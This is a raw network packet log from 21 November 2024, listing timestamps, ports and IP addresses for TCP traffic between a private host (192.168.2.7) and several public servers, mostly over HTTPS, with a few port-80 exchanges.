Nov 21, 2024 22:04:39.166459084 CET	49760	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:39.166608095 CET	49760	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:39.166608095 CET	49760	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:39.166627884 CET	443	49760	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:39.166637897 CET	443	49760	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:39.169504881 CET	49775	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:39.169547081 CET	443	49775	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:39.169765949 CET	49775	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:39.170150042 CET	49775	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:39.170162916 CET	443	49775	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:39.209713936 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:39.209927082 CET	49778	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:39.308085918 CET	443	49764	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:39.308162928 CET	443	49764	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:39.308228970 CET	49764	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:39.308535099 CET	49764	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:39.308571100 CET	49764	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:39.308571100 CET	443	49764	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:39.308578968 CET	443	49764	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:39.311713934 CET	49779	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:39.311748981 CET	443	49779	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:39.311815977 CET	49779	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:39.312038898 CET	49779	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:39.312051058 CET	443	49779	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:39.329408884 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:39.329498053 CET	80	49778	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:39.329617023 CET	49778	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:39.329952955 CET	49778	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:39.449460983 CET	80	49778	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:39.819549084 CET	49759	443	192.168.2.7	20.109.210.53
Nov 21, 2024 22:04:39.863339901 CET	443	49759	20.109.210.53	192.168.2.7
Nov 21, 2024 22:04:40.015912056 CET	443	49769	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:40.016247034 CET	49769	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:40.016258001 CET	443	49769	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:40.016638041 CET	443	49769	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:40.016938925 CET	49769	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:40.017011881 CET	443	49769	142.250.181.100	192.168.2.7
Nov 21, 2024 22:04:40.058876038 CET	49769	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:40.319864988 CET	443	49771	184.28.90.27	192.168.2.7
Nov 21, 2024 22:04:40.319947958 CET	49771	443	192.168.2.7	184.28.90.27
Nov 21, 2024 22:04:40.321739912 CET	49771	443	192.168.2.7	184.28.90.27
Nov 21, 2024 22:04:40.321749926 CET	443	49771	184.28.90.27	192.168.2.7
Nov 21, 2024 22:04:40.322058916 CET	443	49771	184.28.90.27	192.168.2.7
Nov 21, 2024 22:04:40.360963106 CET	49771	443	192.168.2.7	184.28.90.27
Nov 21, 2024 22:04:40.383915901 CET	443	49759	20.109.210.53	192.168.2.7
Nov 21, 2024 22:04:40.383943081 CET	443	49759	20.109.210.53	192.168.2.7
Nov 21, 2024 22:04:40.383950949 CET	443	49759	20.109.210.53	192.168.2.7
Nov 21, 2024 22:04:40.383976936 CET	443	49759	20.109.210.53	192.168.2.7
Nov 21, 2024 22:04:40.384013891 CET	49759	443	192.168.2.7	20.109.210.53
Nov 21, 2024 22:04:40.384036064 CET	443	49759	20.109.210.53	192.168.2.7
Nov 21, 2024 22:04:40.384041071 CET	443	49759	20.109.210.53	192.168.2.7
Nov 21, 2024 22:04:40.384053946 CET	49759	443	192.168.2.7	20.109.210.53
Nov 21, 2024 22:04:40.384094954 CET	49759	443	192.168.2.7	20.109.210.53
Nov 21, 2024 22:04:40.403332949 CET	443	49771	184.28.90.27	192.168.2.7
Nov 21, 2024 22:04:40.404503107 CET	443	49759	20.109.210.53	192.168.2.7
Nov 21, 2024 22:04:40.404580116 CET	49759	443	192.168.2.7	20.109.210.53
Nov 21, 2024 22:04:40.404592991 CET	443	49759	20.109.210.53	192.168.2.7
Nov 21, 2024 22:04:40.404707909 CET	49759	443	192.168.2.7	20.109.210.53
Nov 21, 2024 22:04:40.874079943 CET	443	49771	184.28.90.27	192.168.2.7
Nov 21, 2024 22:04:40.874159098 CET	443	49771	184.28.90.27	192.168.2.7
Nov 21, 2024 22:04:40.874209881 CET	49771	443	192.168.2.7	184.28.90.27
Nov 21, 2024 22:04:40.874288082 CET	49771	443	192.168.2.7	184.28.90.27
Nov 21, 2024 22:04:40.874310970 CET	443	49771	184.28.90.27	192.168.2.7
Nov 21, 2024 22:04:40.874325037 CET	49771	443	192.168.2.7	184.28.90.27
Nov 21, 2024 22:04:40.874330044 CET	443	49771	184.28.90.27	192.168.2.7
Nov 21, 2024 22:04:40.890331030 CET	443	49772	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:40.890825033 CET	49772	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:40.890846014 CET	443	49772	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:40.891340017 CET	49772	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:40.891345978 CET	443	49772	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:40.923753023 CET	49782	443	192.168.2.7	184.28.90.27
Nov 21, 2024 22:04:40.923778057 CET	443	49782	184.28.90.27	192.168.2.7
Nov 21, 2024 22:04:40.923846960 CET	49782	443	192.168.2.7	184.28.90.27
Nov 21, 2024 22:04:40.924185991 CET	49782	443	192.168.2.7	184.28.90.27
Nov 21, 2024 22:04:40.924201965 CET	443	49782	184.28.90.27	192.168.2.7
Nov 21, 2024 22:04:40.962086916 CET	443	49773	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:40.962625980 CET	49773	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:40.962654114 CET	443	49773	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:40.963197947 CET	443	49774	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:40.963215113 CET	49773	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:40.963219881 CET	443	49773	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:40.963552952 CET	49774	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:40.963567972 CET	443	49774	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:40.964056015 CET	49774	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:40.964061975 CET	443	49774	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.018641949 CET	443	49775	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.019215107 CET	49775	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.019239902 CET	443	49775	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.019787073 CET	49775	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.019792080 CET	443	49775	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.057688951 CET	49784	443	192.168.2.7	172.217.17.78
Nov 21, 2024 22:04:41.057729006 CET	443	49784	172.217.17.78	192.168.2.7
Nov 21, 2024 22:04:41.057895899 CET	49784	443	192.168.2.7	172.217.17.78
Nov 21, 2024 22:04:41.058262110 CET	49784	443	192.168.2.7	172.217.17.78
Nov 21, 2024 22:04:41.058276892 CET	443	49784	172.217.17.78	192.168.2.7
Nov 21, 2024 22:04:41.096838951 CET	443	49779	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.099533081 CET	49779	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.099545956 CET	443	49779	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.101392031 CET	49779	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.101396084 CET	443	49779	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.168504000 CET	80	49778	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:41.168576002 CET	49778	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:41.240791082 CET	49769	443	192.168.2.7	142.250.181.100
Nov 21, 2024 22:04:41.240861893 CET	49784	443	192.168.2.7	172.217.17.78
Nov 21, 2024 22:04:41.244292021 CET	49778	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:41.341491938 CET	443	49772	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.341564894 CET	443	49772	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.341790915 CET	49772	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.341841936 CET	49772	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.341857910 CET	443	49772	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.341869116 CET	49772	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.341875076 CET	443	49772	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.345050097 CET	49785	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.345083952 CET	443	49785	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.345493078 CET	49785	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.345675945 CET	49785	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.345688105 CET	443	49785	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.364995003 CET	80	49778	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:41.416748047 CET	443	49773	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.416824102 CET	443	49773	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.417233944 CET	49773	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.417354107 CET	49773	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.417366982 CET	443	49773	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.417373896 CET	49773	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.417378902 CET	443	49773	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.421521902 CET	49786	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.421554089 CET	443	49786	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.421775103 CET	49786	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.421938896 CET	49786	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.421947002 CET	443	49786	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.481554031 CET	443	49775	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.481650114 CET	443	49775	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.481705904 CET	49775	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.481955051 CET	49775	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.481977940 CET	443	49775	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.481985092 CET	49775	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.481991053 CET	443	49775	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.485021114 CET	49787	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.485055923 CET	443	49787	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.485225916 CET	49787	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.485413074 CET	49787	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.485429049 CET	443	49787	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.541201115 CET	443	49779	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.541270971 CET	443	49779	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.541352034 CET	49779	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.541579008 CET	49779	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.541590929 CET	443	49779	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.541600943 CET	49779	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.541605949 CET	443	49779	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.544545889 CET	49788	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.544579029 CET	443	49788	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.544660091 CET	49788	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.544856071 CET	49788	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.544867992 CET	443	49788	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.669722080 CET	49759	443	192.168.2.7	20.109.210.53
Nov 21, 2024 22:04:41.669744968 CET	443	49759	20.109.210.53	192.168.2.7
Nov 21, 2024 22:04:41.669775963 CET	49759	443	192.168.2.7	20.109.210.53
Nov 21, 2024 22:04:41.669783115 CET	443	49759	20.109.210.53	192.168.2.7
Nov 21, 2024 22:04:41.890964031 CET	443	49774	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.891051054 CET	443	49774	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.891263008 CET	49774	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.891344070 CET	49774	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.891344070 CET	49774	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.891360998 CET	443	49774	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.891371012 CET	443	49774	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.894048929 CET	49789	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.894093037 CET	443	49789	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:41.894201040 CET	49789	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.894366980 CET	49789	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:41.894382000 CET	443	49789	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:42.200210094 CET	80	49778	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:42.200294018 CET	49778	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:42.412841082 CET	443	49782	184.28.90.27	192.168.2.7
Nov 21, 2024 22:04:42.412993908 CET	49782	443	192.168.2.7	184.28.90.27
Nov 21, 2024 22:04:42.420871973 CET	49782	443	192.168.2.7	184.28.90.27
Nov 21, 2024 22:04:42.420885086 CET	443	49782	184.28.90.27	192.168.2.7
Nov 21, 2024 22:04:42.421124935 CET	443	49782	184.28.90.27	192.168.2.7
Nov 21, 2024 22:04:42.424562931 CET	49782	443	192.168.2.7	184.28.90.27
Nov 21, 2024 22:04:42.467330933 CET	443	49782	184.28.90.27	192.168.2.7
Nov 21, 2024 22:04:42.971765041 CET	443	49782	184.28.90.27	192.168.2.7
Nov 21, 2024 22:04:42.971851110 CET	443	49782	184.28.90.27	192.168.2.7
Nov 21, 2024 22:04:42.972197056 CET	49782	443	192.168.2.7	184.28.90.27
Nov 21, 2024 22:04:42.992650032 CET	49782	443	192.168.2.7	184.28.90.27
Nov 21, 2024 22:04:42.992671967 CET	443	49782	184.28.90.27	192.168.2.7
Nov 21, 2024 22:04:42.992686033 CET	49782	443	192.168.2.7	184.28.90.27
Nov 21, 2024 22:04:42.992692947 CET	443	49782	184.28.90.27	192.168.2.7
Nov 21, 2024 22:04:43.127722979 CET	443	49785	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.166985989 CET	49785	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.167005062 CET	443	49785	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.168692112 CET	49785	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.168697119 CET	443	49785	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.278069973 CET	443	49786	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.283292055 CET	49786	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.283320904 CET	443	49786	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.283796072 CET	49786	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.283804893 CET	443	49786	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.330573082 CET	443	49787	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.331765890 CET	49787	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.331782103 CET	443	49787	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.332570076 CET	49787	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.332575083 CET	443	49787	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.389648914 CET	443	49788	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.431576014 CET	49788	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.445599079 CET	49788	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.445611000 CET	443	49788	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.446316957 CET	49788	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.446321011 CET	443	49788	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.579184055 CET	443	49785	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.579257011 CET	443	49785	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.579370022 CET	49785	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.625621080 CET	49785	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.625655890 CET	443	49785	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.625693083 CET	49785	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.625700951 CET	443	49785	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.653197050 CET	49790	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.653240919 CET	443	49790	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.653376102 CET	49790	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.669502020 CET	49790	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.669522047 CET	443	49790	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.674568892 CET	443	49789	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.676398039 CET	49789	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.676398039 CET	49789	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.676429987 CET	443	49789	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.676446915 CET	443	49789	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.729377031 CET	443	49786	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.729451895 CET	443	49786	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.729686022 CET	49786	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.745881081 CET	49786	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.745914936 CET	443	49786	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.745935917 CET	49786	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.745943069 CET	443	49786	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.786183119 CET	443	49787	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.786257029 CET	443	49787	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.786578894 CET	49787	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.842171907 CET	443	49788	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.842263937 CET	443	49788	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.844559908 CET	49788	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.878179073 CET	49787	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.878185987 CET	443	49787	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.878199100 CET	49787	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.878202915 CET	443	49787	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.900557995 CET	49788	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.900588989 CET	443	49788	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.900603056 CET	49788	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.900609016 CET	443	49788	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.931910992 CET	49791	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.931936026 CET	443	49791	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.932215929 CET	49791	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.961653948 CET	49791	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.961671114 CET	443	49791	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.963861942 CET	49792	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.963898897 CET	443	49792	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.964112997 CET	49792	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.964548111 CET	49792	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.964556932 CET	443	49792	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.965612888 CET	49793	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.965626955 CET	443	49793	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:43.965898991 CET	49793	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.965940952 CET	49793	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:43.965945959 CET	443	49793	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:44.121471882 CET	443	49789	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:44.121547937 CET	443	49789	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:44.121656895 CET	49789	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:44.503278971 CET	49789	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:44.503299952 CET	443	49789	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:44.503381968 CET	49789	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:44.503387928 CET	443	49789	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:44.520513058 CET	49794	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:44.520550966 CET	443	49794	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:44.520687103 CET	49794	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:44.648418903 CET	49794	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:44.648447037 CET	443	49794	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:45.466557026 CET	443	49790	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:45.509820938 CET	49790	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:45.525191069 CET	49805	443	192.168.2.7	94.245.104.56
Nov 21, 2024 22:04:45.525230885 CET	443	49805	94.245.104.56	192.168.2.7
Nov 21, 2024 22:04:45.525293112 CET	49805	443	192.168.2.7	94.245.104.56
Nov 21, 2024 22:04:45.527360916 CET	49805	443	192.168.2.7	94.245.104.56
Nov 21, 2024 22:04:45.527384043 CET	443	49805	94.245.104.56	192.168.2.7
Nov 21, 2024 22:04:45.529320955 CET	49790	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:45.529335976 CET	443	49790	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:45.529818058 CET	49790	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:45.529831886 CET	443	49790	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:45.684330940 CET	443	49792	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:45.688978910 CET	443	49791	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:45.705843925 CET	49792	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:45.705864906 CET	443	49792	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:45.706619024 CET	49792	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:45.706630945 CET	443	49792	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:45.707253933 CET	49791	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:45.707267046 CET	443	49791	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:45.707782030 CET	49791	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:45.707787037 CET	443	49791	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:45.815884113 CET	443	49793	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:45.858388901 CET	49793	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:45.911442041 CET	443	49790	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:45.911513090 CET	443	49790	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:45.911593914 CET	49790	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:46.092330933 CET	49793	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:46.092353106 CET	443	49793	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:46.092796087 CET	49793	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:46.092803001 CET	443	49793	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:46.100263119 CET	49790	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:46.100285053 CET	443	49790	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:46.121855974 CET	443	49792	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:46.121933937 CET	443	49792	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:46.121995926 CET	49792	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:46.142076015 CET	49792	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:46.142110109 CET	443	49792	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:46.142126083 CET	49792	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:46.142133951 CET	443	49792	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:46.142508030 CET	443	49791	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:46.142581940 CET	443	49791	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:46.142663956 CET	49791	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:46.142868996 CET	49791	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:46.142868996 CET	49791	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:46.142884970 CET	443	49791	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:46.142893076 CET	443	49791	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:46.426529884 CET	443	49793	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:46.426618099 CET	443	49793	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:46.428638935 CET	49793	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:46.436211109 CET	443	49794	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:46.442886114 CET	49793	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:46.442910910 CET	443	49793	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:46.443048000 CET	49793	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:46.443053961 CET	443	49793	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:46.469073057 CET	49806	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:46.469120979 CET	443	49806	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:46.469216108 CET	49806	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:46.469296932 CET	49794	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:46.469321012 CET	443	49794	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:46.469805002 CET	49794	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:46.469809055 CET	443	49794	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:46.492949963 CET	49807	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:46.492978096 CET	443	49807	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:46.493073940 CET	49807	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:46.493689060 CET	49808	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:46.493722916 CET	443	49808	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:46.493778944 CET	49808	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:46.501557112 CET	49806	443	192.168.2.7	13.107.246.63
